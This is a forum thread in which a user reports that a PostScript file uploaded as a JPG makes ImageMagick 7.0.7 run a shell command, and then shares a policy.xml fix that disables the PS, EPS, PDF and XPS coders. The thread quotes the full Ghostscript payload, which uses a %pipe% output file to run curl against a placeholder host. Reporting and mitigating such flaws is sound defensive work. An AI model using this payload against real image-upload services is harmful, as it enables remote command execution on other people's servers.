SOS! How to resolve this fatal problem？

[zxsz4084]

use the follow content use a jpg file：

Code: Select all

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl http://xx.xx.xx:80) currentdevice putdeviceprops

then upload it，it will trigger exec curl command。how to resolve this fatal problem。。。

Code: Select all

[www ~]$ /home/www/ImageMagick/bin/convert -version
Version: ImageMagick 7.0.7-38 Q16 x86_64 2018-08-21 https://www.imagemagick.org
Copyright: © 1999-2018 ImageMagick Studio LLC
License: https://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP 
Delegates (built-in): bzlib fontconfig freetype jng jpeg png tiff x xml zlib

I compile it use ./configure ,without extra params。

SOS。。。。

[zxsz4084]

my os is :
CentOS release 5.11 (Final)

[zxsz4084]

I found a solution at https://www.anquanke.com/post/id/157513

Code: Select all

vim /home/www/ImageMagick/etc/ImageMagick-7/policy.xml

in section "policymap" add the following content:

<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

[zxsz4084]

https://www.imagemagick.org/script/security-policy.php

Since most users simply process image compression, I recommend that this behavior be disabled by default in the latest version.